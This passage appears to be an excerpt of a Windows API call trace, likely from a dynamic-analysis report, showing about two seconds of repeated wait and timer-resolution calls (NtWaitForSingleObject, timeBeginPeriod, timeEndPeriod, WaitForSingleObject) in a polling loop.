	[0081.018] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.024] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.025] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.025] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.026] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.026] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.044] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.044] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.049] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.105] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.106] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.106] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.108] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.108] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.138] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.159] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.160] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.160] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.161] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.161] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.181] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.181] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.186] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.186] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.219] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.219] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.220] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.239] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.239] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.244] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.281] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.281] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.281] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.299] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.299] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.304] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.304] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.335] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.355] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.356] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.360] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.360] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.378] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.378] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.382] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.409] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.414] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.415] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.415] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.416] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.416] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.434] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.434] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.438] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.438] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.474] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.492] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.492] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.497] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.533] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.533] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.534] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.550] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.558] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.558] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.559] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.584] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.591] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.593] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.593] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.594] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.600] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.600] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.600] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.601] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.601] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.622] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.622] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.627] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.653] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.661] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.663] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.681] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.681] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.686] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.686] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.720] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.720] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.721] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.740] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.740] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.745] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.745] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.770] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.776] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.776] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.777] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.778] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.778] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.795] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.795] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.800] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.800] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.824] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.830] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.830] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.830] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.831] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.831] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.849] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.849] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.854] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.882] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.891] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.911] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.911] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.915] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.915] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.942] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.948] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.950] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.968] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0081.968] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0081.972] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0081.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0081.998] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.001] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.001] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.008] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.008] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.009] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.009] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.027] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.027] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.031] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.031] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.057] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.064] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.085] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.085] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.089] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.120] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.121] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.140] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.140] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.146] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.146] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.184] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.193] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.212] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.212] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.217] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.229] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.246] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.247] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.247] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.248] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.248] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.266] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.266] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.270] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.301] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.309] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.336] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.364] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.368] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.393] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.397] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.413] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.415] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.420] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.424] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.429] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.436] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.447] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.455] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.457] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.460] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.462] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.466] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.470] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.480] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.486] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.489] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.490] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.494] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.498] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.499] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.499] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.500] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.500] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.505] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.505] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.506] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.524] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0082.524] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0082.526] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0082.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.566] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.570] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.621] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.625] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.628] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.642] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.645] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.649] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.651] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.654] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.664] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.672] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.674] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.675] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.677] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.684] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.687] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.691] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.693] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.695] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.697] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.699] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.702] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.706] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.707] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.709] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.711] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0082.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
